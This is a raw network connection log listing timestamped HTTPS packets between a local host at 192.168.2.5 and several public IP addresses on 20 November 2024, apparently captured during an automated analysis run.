Nov 20, 2024 01:18:29.784385920 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.808078051 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.808633089 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.808644056 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.809159994 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.809165001 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.815049887 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.815399885 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.815443993 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.815846920 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.815857887 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.835733891 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.835872889 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.835946083 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.836036921 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.836036921 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.836081028 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.836098909 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.839241982 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.839273930 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.839351892 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.839560986 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.839572906 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.852226973 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.852363110 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.852454901 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.852513075 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.852524996 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.852560997 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.852576017 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.854950905 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.854968071 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.855031967 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.855149984 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.855164051 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.915102005 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.915153027 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.915246964 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.915394068 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.915402889 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.915433884 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.915441036 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.917697906 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.917732000 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.917798042 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.917907000 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.917921066 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.919972897 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.920139074 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.920214891 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.920289993 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.920289993 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.920325994 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.920350075 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.922661066 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.922671080 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.922728062 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.922878981 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.922889948 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.052751064 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.052915096 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.054590940 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.054598093 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.054928064 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.056210041 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.056370020 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.056411028 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.056472063 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.056480885 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.433248043 CET	443	49712	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:30.433490992 CET	49712	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:30.440584898 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.441417933 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.441459894 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.441876888 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.441890001 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.538880110 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.538985014 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.539062023 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.539262056 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.539299011 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.539349079 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.539364100 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.541985035 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.542021990 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.542089939 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.542260885 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.542273998 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.610429049 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.610573053 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.612874031 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.612885952 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.613205910 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.614753008 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.614753008 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.614782095 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.614911079 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.622474909 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.622924089 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.622947931 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.623256922 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.623471022 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.623476982 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.623534918 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.623541117 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.624022961 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.624027967 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.629578114 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.629872084 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.629887104 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.630325079 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.630330086 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.632366896 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.632658958 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.632671118 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.633101940 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.633107901 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.635950089 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.636086941 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.636135101 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.636221886 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:30.636231899 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:30.655339956 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.720655918 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.720797062 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.720844984 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.721385002 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.721395969 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.721405983 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.721410990 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.723728895 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.723974943 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.724023104 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.724905968 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.724934101 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.724994898 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.724996090 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.724998951 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.725016117 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.725019932 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.727349043 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.727447987 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.728116035 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.728128910 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.728163004 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.732350111 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.732388973 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.735841036 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.736004114 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.736119032 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.736143112 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.736155987 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.736227036 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.736232996 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739149094 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739157915 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739228010 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739335060 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739341021 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739665985 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739722967 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739841938 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739905119 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739919901 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.739931107 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.739936113 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.742311001 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.742352009 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.742419004 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.742564917 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:30.742593050 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:30.786237955 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.786366940 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:30.786442041 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.788614988 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:30.788630962 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:31.018017054 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.018037081 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.018141031 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.018418074 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.018431902 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.194660902 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.196146965 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.196175098 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.196718931 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.196726084 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.298829079 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.298974037 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.299062014 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.299340010 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.299360991 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.299374104 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.299384117 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.302742958 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.302779913 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.302845955 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.303064108 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.303081989 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.372587919 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.373009920 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.373076916 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.373450994 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.373466015 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.380708933 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.381062031 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.381093025 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.381558895 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.381573915 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.382600069 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.382894039 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.382916927 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.383354902 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.383359909 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.396471977 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.396884918 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.396925926 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.397270918 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.397277117 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.472798109 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.472865105 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.472981930 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.473268032 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.473268032 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.473304987 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.473328114 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.476366043 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.476414919 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.476618052 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.476664066 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.476671934 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.481762886 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.481895924 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.481992006 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.484843969 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.484863043 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.484895945 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.484904051 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.485091925 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.485155106 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.485313892 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.485574007 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.485580921 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.485606909 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.485613108 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.486618042 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.486706018 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.488321066 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.488325119 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.488656044 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.488692999 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.488771915 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.489131927 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.489147902 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.489283085 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.489931107 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.489953041 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.490021944 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.490117073 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.490128994 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.490756035 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.490869999 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.490875959 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.497541904 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.497689962 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.497761011 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.497801065 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.497801065 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.497818947 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.497829914 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.499994040 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.500021935 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.501538038 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.501677990 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.501692057 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.865802050 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.865904093 CET	443	49764	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:31.866111040 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.866132021 CET	49764	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:31.944530010 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.945014954 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.945038080 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:31.945483923 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:31.945489883 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.043282032 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.043440104 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.043531895 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.043750048 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.043765068 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.043777943 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.043783903 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.046286106 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.046315908 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.046390057 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.046559095 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.046575069 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.122404099 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.123321056 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.123339891 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.123764992 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.123773098 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.126801968 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.127168894 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.127186060 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.127568007 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.127573967 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.135133028 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.135483027 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.135493994 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.135900974 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.135905981 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.154071093 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.154551029 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.154567957 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.155209064 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.155214071 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.223546028 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.223609924 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.223720074 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.225754023 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.225802898 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.226011992 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.230825901 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.230825901 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.230849981 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.230864048 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.231512070 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.231524944 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.231549978 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.231556892 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.233829975 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.233865976 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.234009981 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.234239101 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.234255075 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.234360933 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.234392881 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.234409094 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.234488964 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.234499931 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.235097885 CET	443	49767	13.107.246.45	192.168.2.5
